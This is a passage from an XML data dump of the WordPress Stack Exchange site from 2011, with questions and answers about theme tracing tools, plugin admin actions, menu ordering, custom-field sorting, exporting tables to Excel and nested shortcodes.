  <row Id="10494" PostTypeId="1" CreationDate="2011-02-25T21:59:14.780" Score="0" ViewCount="79" Body="&lt;p&gt;Dreamweaver CS5 is very useful to design or modify a Wordpress theme. It inspects CSS elements in Live view (after seting up a test server), but its unable to trace original wordpress code responsible for generating front-end HTML. So, I'm looking for a smart dev tool which could trace internal PHP code responsible for generating selected front-end HTML.&lt;/p&gt;&#xA;" OwnerUserId="3411" LastActivityDate="2011-04-27T00:41:40.520" Title="Is there any tool to find lines of codes responsible to generate front-end HTML elements?" Tags="&lt;theme-development&gt;&lt;php&gt;&lt;template&gt;&lt;html&gt;" AnswerCount="2" />
  <row Id="10495" PostTypeId="2" ParentId="10494" CreationDate="2011-02-25T22:07:25.647" Score="2" ViewCount="" Body="&lt;p&gt;Any decent IDE for PHP comes with search capabilities. It is usually rather easy to find code responsible if it uses specific ids and/or class names.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Personally I use NetBeans for PHP, also see &lt;a href=&quot;http://wordpress.stackexchange.com/questions/324/software-for-wordpress-theme-and-plugin-development&quot;&gt;Software for WordPress Theme and Plugin Development?&lt;/a&gt; question. A tons of good tools mentioned there.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-02-25T22:07:25.647" />
  <row Id="10496" PostTypeId="2" ParentId="10493" CreationDate="2011-02-25T22:19:29.760" Score="2" ViewCount="" Body="&lt;p&gt;Check &lt;code&gt;footer.php&lt;/code&gt; and make sure it contains &lt;code&gt;&amp;lt;?php wp_footer(); ?&amp;gt;&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="3298" LastActivityDate="2011-02-25T22:19:29.760" />
  <row Id="10497" PostTypeId="2" ParentId="10481" CreationDate="2011-02-25T22:35:11.303" Score="1" ViewCount="" Body="&lt;p&gt;your best opption is custom link with full url as Custom post types archives are different form taxonomy based archives (categories,tags,any custom taxonomy) and date based archives which have there own archive slug.&lt;/p&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-02-25T22:35:11.303" />
  <row Id="10498" PostTypeId="2" ParentId="10487" CreationDate="2011-02-25T22:47:45.437" Score="2" ViewCount="" Body="&lt;p&gt;any of the folowing should do just fine:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/overlay/&quot; rel=&quot;nofollow&quot;&gt;Overlay&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/fancybox-for-wordpress/&quot; rel=&quot;nofollow&quot;&gt;FancyBox for WordPress&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/simple-lightbox/&quot; rel=&quot;nofollow&quot;&gt;Simple Lightbox&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/wp-multibox/&quot; rel=&quot;nofollow&quot;&gt;WP Multibox&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/topup-plus/&quot; rel=&quot;nofollow&quot;&gt;TopUp Plus&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;and my personal favorite &lt;a href=&quot;http://wordpress.org/extend/plugins/highslide-4-wordpress-reloaded/&quot; rel=&quot;nofollow&quot;&gt;Highslide 4 WordPress &lt;em&gt;reloaded&lt;/em&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-02-25T22:47:45.437" CommentCount="1" />
  <row Id="10499" PostTypeId="2" ParentId="10494" CreationDate="2011-02-26T00:07:11.780" Score="1" ViewCount="" Body="&lt;p&gt;Any IDE with a built in debugger would be useful to you.  I use &lt;a href=&quot;http://www.jetbrains.com/phpstorm/&quot; rel=&quot;nofollow&quot;&gt;http://www.jetbrains.com/phpstorm/&lt;/a&gt; .  It's very simple to setup with a debugger.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are IDEs out there that requires you to add a debugger as a module and you spend most of your time making the module work instead of debugging your own code. That's why I suggest something as simple as PHPStorm. &lt;/p&gt;&#xA;" OwnerUserId="413" LastActivityDate="2011-02-26T00:07:11.780" />
  <row Id="10500" PostTypeId="1" AcceptedAnswerId="10767" CreationDate="2011-02-26T00:44:19.643" Score="2" ViewCount="283" Body="&lt;p&gt;I'm constantly running into the same annoyance, so i thought i'd see if there's any ideas or experience out there...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've created a plugin that uses it's own admin page. It has to. Now that i sorted out the WP_List_Table() stuff, i must say it's great...but....&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Custom plugin pages always load as &lt;code&gt;admin.php?page=...&lt;/code&gt; unless i want to load them from the plugin directory directly, which i don't. Now if i do an 'action' from that page, i need to process that somehow and then redirect back to the page &lt;em&gt;without&lt;/em&gt; the action parameter. No matter if i do a GET or POST, really.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On all it's internal pages WP does this on the same page, it checks if there's an action, if so processes it and then redirects to itself without the action. This is possible, because on these pages the &lt;code&gt;admin-header&lt;/code&gt; hasn't been loaded, yet.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you try doing it on your own page, though, half the admin interface has already been sent to the browser, so a redirect isn't possible anymore. Clearly, the solution is to POST/GET directly to another page, load the WP framework on that, do the processing and then redirect back to the original page...but...that's a bit annoying, because...my original page is loaded via a callback, so it runs within a method of my class. That's beautiful.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If i load a separate page, i have to manually include &lt;code&gt;wp-load.php&lt;/code&gt; and am outside of my class, which is annoying, and in my particular case bugs me especially, because i'm only instanciating my plugin class anonymously so that no-one can access it from the outside.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So after this long story...did anyone come up with a good solution to load another page via a callback &lt;em&gt;without&lt;/em&gt; having the whole admin interface already setup around it?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(I know of a workaround...i can hook a function into &lt;code&gt;load-....&lt;/code&gt; that checks for the action parameter and does the processing and redirect. But i'm wondering if there's a better way.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="3104" LastEditorUserId="8" LastEditorDisplayName="" LastEditDate="2011-03-01T08:10:48.407" LastActivityDate="2011-08-29T12:22:57.930" Title="How do i best handle custom plugin page actions?" Tags="&lt;plugin-development&gt;&lt;wp-admin&gt;&lt;best-practices&gt;" AnswerCount="2" CommentCount="4" FavoriteCount="2" />
  <row Id="10501" PostTypeId="1" AcceptedAnswerId="10733" CreationDate="2011-02-26T00:53:21.020" Score="2" ViewCount="159" Body="&lt;p&gt;There's an action hook triggered in &lt;code&gt;admin.php&lt;/code&gt; called &lt;code&gt;'admin_action_'.$_REQUEST['action']&lt;/code&gt;. Unfortunately, it's a bit useless for plugins as it's triggered at the very end of admin.php, after everything's loaded on the page (even the footer).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone know why it's there, why in that silly position and if anything is using it internally?&lt;/p&gt;&#xA;" OwnerUserId="3104" LastActivityDate="2011-02-28T19:25:15.177" Title="What is the 'admin_action_' . $_REQUEST['action'] hook used for?" Tags="&lt;plugins&gt;&lt;hooks&gt;&lt;actions&gt;" AnswerCount="1" />
  <row Id="10502" PostTypeId="2" ParentId="10475" CreationDate="2011-02-26T02:00:24.583" Score="4" ViewCount="" Body="&lt;p&gt;this might work:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_filter('custom_menu_order', 'my_custom_menu_order');&#xA;add_filter('menu_order', 'my_custom_menu_order');&#xA;&#xA;function my_custom_menu_order($menu_ord) {&#xA;    if (!$menu_ord) return true;&#xA;    return array(&#xA;        'index.php', // the dashboard link&#xA;        'edit.php?post_type=custom_post_type',&#xA;        'edit.php?post_type=page', &#xA;        'edit.php' // posts&#xA;            // add anything else you want, just get the url&#xA;    );&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3520" LastActivityDate="2011-02-26T02:00:24.583" CommentCount="1" />
  <row Id="10503" PostTypeId="1" AcceptedAnswerId="10507" CreationDate="2011-02-26T02:17:34.223" Score="0" ViewCount="193" Body="&lt;p&gt;This is similar to another question I asked, but I can't recognize how this query string works.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a custom field called &quot;category_order&quot; and I would like to sort my category page by this order (and not the date).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is my code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php wp_reset_query(); ?&amp;gt;&#xA;    &amp;lt;div id=&quot;content&quot;&amp;gt;&#xA;&#xA;    &amp;lt;div id=&quot;postFuncs&quot;&amp;gt;&#xA;      &amp;lt;div id=&quot;funcStyler&quot;&amp;gt;&amp;lt;a href=&quot;#&quot; class=&quot;switch_thumb&quot;&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/div&amp;gt;&#xA;          &amp;lt;?php if (is_category()) { &#xA;           $cat_ID = get_query_var('cat'); ?&amp;gt;&#xA;&#xA;          &amp;lt;?php echo '&amp;lt;h2&amp;gt;'; wpzoom_breadcrumbs(); echo'&amp;lt;/h2&amp;gt;'; ?&amp;gt;&amp;lt;?php } &#xA;            elseif (!is_category() &amp;amp;&amp;amp; !is_home()) { ?&amp;gt;&#xA;            &amp;lt;?php echo '&amp;lt;h2&amp;gt;'; wpzoom_breadcrumbs(); echo'&amp;lt;/h2&amp;gt;'; ?&amp;gt;&#xA;            &amp;lt;?php }&#xA;            else { ?&amp;gt;&#xA;            &amp;lt;h2&amp;gt;Recent Videos&amp;lt;/h2&amp;gt;&#xA;            &amp;lt;?php } ?&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&amp;lt;!-- end #postFuncs --&amp;gt;&#xA;&#xA;    &amp;lt;div id=&quot;archive&quot;&amp;gt;&#xA;&#xA;    &amp;lt;?php if (have_posts()) : ?&amp;gt;&#xA;        &amp;lt;ul class=&quot;posts posts-3 grid&quot;&amp;gt;&#xA;            &amp;lt;?php  &#xA;      $i = 0;  &#xA;                while (have_posts()) : the_post();&#xA;                $i++;&#xA;            ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2417" LastActivityDate="2011-02-26T04:50:57.100" Title="Sort category page with custom field" Tags="&lt;categories&gt;&lt;custom-field&gt;&lt;archive&gt;&lt;sort&gt;" AnswerCount="1" />
  <row Id="10504" PostTypeId="1" CreationDate="2011-02-26T02:35:07.330" Score="0" ViewCount="55" Body="&lt;p&gt;I recently was able to separate search results by category and was wondering if I could modify the same code for use with tag results.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help would be appreciated&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Code used for the search: &lt;a href=&quot;http://wordpress.pastebin.com/VCbsBqk9&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.pastebin.com/VCbsBqk9&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Live example of search: &lt;a href=&quot;http://theartistree.fm/?s=sufjan&quot; rel=&quot;nofollow&quot;&gt;http://theartistree.fm/?s=sufjan&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Current tag page: theartistree.fm/tag/sufjan-stevens/&lt;/p&gt;&#xA;" OwnerUserId="3495" LastEditorUserId="3495" LastEditorDisplayName="" LastEditDate="2011-02-26T03:10:53.383" LastActivityDate="2011-02-26T03:10:53.383" Title="Separate tag results by category?" Tags="&lt;categories&gt;&lt;template-tags&gt;" />
  <row Id="10505" PostTypeId="1" CreationDate="2011-02-26T03:19:48.027" Score="1" ViewCount="338" Body="&lt;p&gt;I have created PHP scripts before to export a database table to .xls format like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$select = &quot;SELECT * FROM tracking&quot;;&#xA;$export = mysql_query ( $select ) or die ( &quot;Sql error : &quot; . mysql_error( )  );&#xA;$fields = mysql_num_fields ( $export );&#xA;$file = 'export';&#xA;for ( $i = 0; $i &amp;lt; $fields; $i++ )&#xA;{&#xA;$header .= mysql_field_name( $export , $i ) . &quot;\t&quot;;&#xA;}&#xA;while( $row = mysql_fetch_row( $export ) )&#xA;{&#xA;$line = '';&#xA;foreach( $row as $value )&#xA;{&#xA;    if ( ( !isset( $value ) ) || ( $value == &quot;&quot; ) )&#xA;    {&#xA;        $value = &quot;\t&quot;;&#xA;    }&#xA;        else&#xA;    {&#xA;        $value = str_replace( '&quot;' , '&quot;&quot;' , $value );&#xA;        $value = '&quot;' . $value . '&quot;' . &quot;\t&quot;;&#xA;    }&#xA;        $line .= $value;&#xA; }&#xA; $data .= trim( $line ) . &quot;\n&quot;;&#xA; }&#xA; $data = str_replace( &quot;\r&quot; , &quot;&quot; , $data );&#xA; if ( $data == &quot;&quot; )&#xA; {&#xA; $data = &quot;\n(0) Records Found!\n&quot;;&#xA; }&#xA;&#xA;$filename = $file.&quot;_&quot;.date(&quot;M-d-Y&quot;);&#xA;&#xA;header(&quot;Content-type: application/octet-stream&quot;);&#xA;header( &quot;Content-disposition: filename=&quot;.$filename.&quot;.xls&quot;);&#xA;header(&quot;Pragma: no-cache&quot;);&#xA;header(&quot;Expires: 0&quot;);&#xA;print &quot;$header\n$data&quot;;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What I'd like to know is how to &quot;convert&quot; this to wordpress format using the $wpdb class?  I can get the initial query down to actually select the data from the table I want, but I get lost in some of the semantics of the wpdb class.  I also wanted to know where I would put this code in wordpress, so if say a user clicks on a link, it would run this query and download the .xls file?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help is greatly appreciated!  This site is great!&lt;/p&gt;&#xA;" OwnerUserId="2026" LastActivityDate="2011-05-20T10:04:43.933" Title="Export wordpress table to excel" Tags="&lt;database&gt;&lt;wp-query&gt;&lt;query&gt;&lt;wpdb&gt;&lt;export&gt;" AnswerCount="4" FavoriteCount="1" />
  <row Id="10506" PostTypeId="1" AcceptedAnswerId="10513" CreationDate="2011-02-26T04:28:58.873" Score="0" ViewCount="105" Body="&lt;p&gt;Is there a way I can display all categories in the categories widget that comes with wordpress. I do not want to have to edit the core files and I want to stay away from rewriting the widget, but if need be I will. Is there anyway to hook into the widget just to get this functionality.&lt;/p&gt;&#xA;" OwnerUserId="1878" LastActivityDate="2011-08-04T20:19:07.810" Title="Categories widget show empty?" Tags="&lt;categories&gt;&lt;widgets&gt;&lt;hooks&gt;" AnswerCount="2" FavoriteCount="1" />
  <row Id="10507" PostTypeId="2" ParentId="10503" CreationDate="2011-02-26T04:50:57.100" Score="1" ViewCount="" Body="&lt;p&gt;I added the &lt;code&gt;query_posts&lt;/code&gt; so we can tell Wordpress of a modified query to run.&lt;br&gt;&#xA;&lt;code&gt;$query_string&lt;/code&gt; will let us add onto the current parameters.&lt;br&gt;&#xA;&lt;code&gt;orderby, meta_key, order&lt;/code&gt; let us define the query by telling it how to sort the results&lt;br&gt;&#xA;&lt;a href=&quot;http://codex.wordpress.org/Function_Reference/query_posts#Order_.26_Orderby_Parameters&quot; rel=&quot;nofollow&quot;&gt;More information on ordering by parameters&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php wp_reset_query(); ?&amp;gt;&#xA;&amp;lt;div id=&quot;content&quot;&amp;gt;&#xA;&#xA;  &amp;lt;div id=&quot;postFuncs&quot;&amp;gt;&#xA;    &amp;lt;div id=&quot;funcStyler&quot;&amp;gt;&amp;lt;a href=&quot;#&quot; class=&quot;switch_thumb&quot;&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/div&amp;gt;&#xA;    &amp;lt;?php if (is_category()) { &#xA;      $cat_ID = get_query_var('cat'); ?&amp;gt;&#xA;      &amp;lt;h2&amp;gt;&amp;lt;?php wpzoom_breadcrumbs(); ?&amp;gt;&amp;lt;/h2&amp;gt;&#xA;    &amp;lt;?php } elseif (!is_category() &amp;amp;&amp;amp; !is_home()) { ?&amp;gt;&#xA;      &amp;lt;h2&amp;gt;&amp;lt;?php wpzoom_breadcrumbs(); ?&amp;gt;&amp;lt;/h2&amp;gt;&#xA;    &amp;lt;?php } else { ?&amp;gt;&#xA;      &amp;lt;h2&amp;gt;Recent Videos&amp;lt;/h2&amp;gt;&#xA;    &amp;lt;?php } ?&amp;gt;&#xA;  &amp;lt;/div&amp;gt;&amp;lt;!-- end #postFuncs --&amp;gt;&#xA;&#xA;  &amp;lt;div id=&quot;archive&quot;&amp;gt;&#xA;&#xA;    &amp;lt;?php global $query_string;&#xA;    query_posts( $query_string . '&amp;amp;orderby=meta_value_num&amp;amp;meta_key=your_custom_field&quot;&amp;amp;order=ASC');&#xA;    if (have_posts()) : ?&amp;gt;&#xA;    &amp;lt;ul class=&quot;posts posts-3 grid&quot;&amp;gt;&#xA;    &amp;lt;?php $i = 0;  &#xA;    while (have_posts()) : the_post();&#xA;      $i++;&#xA;    ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1878" LastActivityDate="2011-02-26T04:50:57.100" />
  <row Id="10508" PostTypeId="2" ParentId="10505" CreationDate="2011-02-26T05:59:26.457" Score="0" ViewCount="" Body="&lt;p&gt;If you have phpmyadmin, then just go to export and select &lt;strong&gt;Excel&lt;/strong&gt; instead of &lt;strong&gt;SQL&lt;/strong&gt;.&lt;/p&gt;&#xA;" OwnerUserId="1521" LastActivityDate="2011-02-26T05:59:26.457" CommentCount="1" />
  <row Id="10509" PostTypeId="1" CreationDate="2011-02-23T18:57:36.790" Score="0" ViewCount="37" Body="&lt;p&gt;When I load a page on my site, the page whites out then loads the next page. Not sure what is causing this. This didn't happen before. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would appreciate any pointers on this. Thanks a lot!&lt;/p&gt;&#xA;" LastEditorUserId="8" LastEditorDisplayName="" LastEditDate="2011-05-10T08:08:40.060" LastActivityDate="2011-05-10T08:08:40.060" Title="Site whites out when changing pages" Tags="&lt;loading-time&gt;" CommentCount="3" />
  <row Id="10510" PostTypeId="1" AcceptedAnswerId="18421" CreationDate="2011-02-26T07:22:07.633" Score="0" ViewCount="153" Body="&lt;p&gt;I want to display the direct category ancestor of a given post. An illustrative example:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;These are the categories I have: &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Cat1&lt;/li&gt;&#xA;&lt;li&gt;Cat2&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Cat2.1&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Cat2.1.1&lt;/li&gt;&#xA;&lt;li&gt;Cat2.1.2&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;Cat2.2&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Cat2.2.1&lt;/li&gt;&#xA;&lt;li&gt;Cat2.2.2.&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;Cat2.3&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;Cat3&lt;/li&gt;&#xA;&lt;li&gt;Cat4&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I only put the posts in a single category between a same &quot;level&quot;, but when the category has more sub categories, I check the whole trailing, like in:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Cat1&lt;/li&gt;&#xA;&lt;li&gt;[X] Cat2&#xA;&lt;ul&gt;&#xA;&lt;li&gt;[X] Cat2.1&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Cat2.1.1&lt;/li&gt;&#xA;&lt;li&gt;[X] Cat2.1.2&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;Cat2.2&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Cat2.2.1&lt;/li&gt;&#xA;&lt;li&gt;Cat2.2.2.&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;Cat2.3&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;Cat3&lt;/li&gt;&#xA;&lt;li&gt;Cat4&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Now, in the single post page, I want to display the name of the direct category ancestor of the post (Cat2.1.2 in this case). By default I just use &lt;code&gt;get_the_category()&lt;/code&gt;, but it shows the top level category instead (Cat2 in this case). I don't considerer unchecking top levels by now because it cause another problems within the template.&lt;/p&gt;&#xA;" OwnerUserId="2201" LastEditorUserId="8" LastEditorDisplayName="" LastEditDate="2011-05-27T08:03:13.293" LastActivityDate="2011-06-26T09:17:33.250" Title="Display only deepest category on a single post?" Tags="&lt;categories&gt;&lt;template&gt;&lt;taxonomy&gt;" AnswerCount="2" />
  <row Id="10511" PostTypeId="2" ParentId="10510" CreationDate="2011-02-26T07:27:35.133" Score="1" ViewCount="" Body="&lt;p&gt;Well, I guess I found how (not completely tested):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;$category = get_the_category($post-&amp;gt;ID);&#xA;echo end($category)-&amp;gt;cat_name;&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Basically, it returns the last category name from the array of categories given by &lt;code&gt;get_the_category&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="2201" LastActivityDate="2011-02-26T07:27:35.133" />
  <row Id="10512" PostTypeId="1" AcceptedAnswerId="10515" CreationDate="2011-02-26T07:37:40.170" Score="2" ViewCount="64" Body="&lt;p&gt;Can WordPress be used through Google Sites? Instead of creating a blog at WordPress itself, I considering to make a mesh of a website and blog using Google Sites and WordPress source code, but I'm not sure how to do this or even if it's possible.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What do you think?&lt;/p&gt;&#xA;" OwnerUserId="3524" LastActivityDate="2011-02-26T07:55:34.870" Title="Google Site and WordPress" Tags="&lt;3.0.1&gt;" AnswerCount="1" />
  <row Id="10513" PostTypeId="2" ParentId="10506" CreationDate="2011-02-26T07:43:11.760" Score="2" ViewCount="" Body="&lt;p&gt;Not sure what you mean by 'display all categories', i thought it does that by default?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyways...you can hook into it, using the following filter hooks:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;code&gt;widget_categories_args&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;widget_categories_dropdown_args&lt;/code&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Both hooks pass the query args to get the categories as an array.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The default is &lt;code&gt;array('orderby' =&amp;gt; 'name', 'show_count' =&amp;gt; $c, 'hierarchical' =&amp;gt; $h)&lt;/code&gt;, wherein &lt;code&gt;$c&lt;/code&gt; and &lt;code&gt;$h&lt;/code&gt; are booleans and represent if the user selected 'Show post counts' and 'Show hierarchy' in the widget's options, respectively.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The dropdown version gets another value: &lt;code&gt;$cat_args['show_option_none'] = __('Select Category');&lt;/code&gt;, setting the label for the 'none selected' state.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You'll can hook the same callback to both filters, so that the result is the same no matter if &lt;code&gt;Show as dropdown&lt;/code&gt; is selected or not.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;BTW: The widgets that come with WP out of the box are defined in &lt;code&gt;wp-includes/default-widgets.php&lt;/code&gt;, the code in there is quite readable.&lt;/p&gt;&#xA;" OwnerUserId="3104" LastActivityDate="2011-02-26T07:43:11.760" />
  <row Id="10514" PostTypeId="1" AcceptedAnswerId="10517" CreationDate="2011-02-26T07:48:57.900" Score="1" ViewCount="65" Body="&lt;p&gt;Say I buy a hosting package with GoDaddy and they allow 1GB max databases.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So my question is how can I combine and use 2 DB's in WordPress? Is there a plug=in or do I need to edit the wp-config.php file?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Benny, Age 12.&lt;/p&gt;&#xA;" OwnerUserId="2606" LastActivityDate="2011-02-26T08:01:51.910" Title="How can I use more than 2 DB's" Tags="&lt;hosting&gt;" AnswerCount="1" />
  <row Id="10515" PostTypeId="2" ParentId="10512" CreationDate="2011-02-26T07:55:34.870" Score="3" ViewCount="" Body="&lt;p&gt;Because Google Sites does not have databases sorry you have to use another site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also becuase I don't think they have PHP on them.&lt;/p&gt;&#xA;" OwnerUserId="2606" LastActivityDate="2011-02-26T07:55:34.870" CommentCount="17" />
  <row Id="10517" PostTypeId="2" ParentId="10514" CreationDate="2011-02-26T08:01:51.910" Score="3" ViewCount="" Body="&lt;p&gt;1GB is quite large, you won't get there too quickly. Furthermore, there's plenty of cheap hosting plans out there with unlimited db size.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Doing what you want is in theory possible by hooking into the &lt;code&gt;query&lt;/code&gt; and a whole bunch of other filters, but it's pretty complex, as you will hardly know which db to query to get certain records unless you also keep a meta database. Even then you'll still often have to query both databases and then merge the results by hooking into further WP hooks. You get the picture.&lt;/p&gt;&#xA;" OwnerUserId="3104" LastActivityDate="2011-02-26T08:01:51.910" />
  <row Id="10519" PostTypeId="1" CreationDate="2011-02-26T08:27:32.787" Score="0" ViewCount="46" Body="&lt;p&gt;I thought 'Views&quot; was a pretty common item in a forum table.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way of enabling this or adding it to Wordpress + the bbpress plugin?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://i.stack.imgur.com/Qu2PD.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="781" LastActivityDate="2011-03-31T00:38:48.933" Title="How to add 'Views' in the forums page of bbPress (plugin)?" Tags="&lt;bbpress&gt;" AnswerCount="1" />
  <row Id="10520" PostTypeId="1" CreationDate="2011-02-26T09:47:59.057" Score="2" ViewCount="275" Body="&lt;p&gt;This seems like a fairly common problem, but I'm posting this as I've yet to find a solution to my problem here on WP Answers - any help is HUGELY appreciated!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ok - so I have a custom post type of 'events' where I capture the date of the event using a custom field and store it as a unix timestamp. Filtering posts on the front end is not a problem using the following code to show future events only:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$events = new WP_Query( 'post_type=events&amp;amp;posts_per_page=-1&amp;amp;meta_key=date_value&amp;amp;orderby=meta_value&amp;amp;meta_compare=&amp;gt;=&amp;amp;meta_value='.time().'&amp;amp;order=ASC' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I've tried to filter the results in the admin in the same way using a &lt;code&gt;pre_get_posts&lt;/code&gt; filter:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function events_pre_get_posts($query) {&#xA;  if (is_admin()) {&#xA;    if (isset($query-&amp;gt;query_vars['post_type'])) {&#xA;      if ($query-&amp;gt;query_vars['post_type'] == 'events') {&#xA;          $query-&amp;gt;set('meta_key', 'date_value');&#xA;          $query-&amp;gt;set('orderby', 'meta_value');&#xA;          $query-&amp;gt;set('meta_compare', '&amp;gt;=');&#xA;          $query-&amp;gt;set('meta_value', time());&#xA;          $query-&amp;gt;set('order', 'ASC');&#xA;      }&#xA;    }&#xA;  }&#xA;}&#xA;add_filter('pre_get_posts' , 'events_pre_get_posts');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But in the admin this code just makes all my posts disappear!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm also trying to find a way to show past events in the back end and I'm really stuck there too! I not sure the best way to do this - perhaps a toggle on the 'events' posts page to view past / future events.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Help!!&lt;/p&gt;&#xA;" OwnerUserId="3430" LastActivityDate="2011-06-27T08:17:59.403" Title="Using date stored as custom field to filter posts displayed in admin" Tags="&lt;custom-post-types&gt;&lt;post-meta&gt;&lt;date-time&gt;" AnswerCount="2" />
  <row Id="10521" PostTypeId="1" AcceptedAnswerId="10528" CreationDate="2011-02-26T09:49:34.660" Score="1" ViewCount="96" Body="&lt;p&gt;Example I want combine shortcode for first paragraph and dropcap.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function st_dropcap( $atts, $content = null ) {&#xA;    return '&amp;lt;span class=&quot;dropcap&quot;&amp;gt;'.$content.'&amp;lt;/span&amp;gt;';&#xA;}&#xA;add_shortcode('dropcap', 'st_dropcap');&#xA;&#xA;function st_paragraph( $atts, $content = null ) {&#xA;    return '&amp;lt;p class=&quot;first-paragraph&quot;&amp;gt;'.$content.'&amp;lt;/p&amp;gt;';&#xA;}&#xA;add_shortcode('paragraph', 'st_paragraph');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;On post I tried something like this&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[paragraph][dropcap]W[/dropcap]elcome to my blog[/paragraph]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Only paragraph is working. How do I combine this code?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Let me 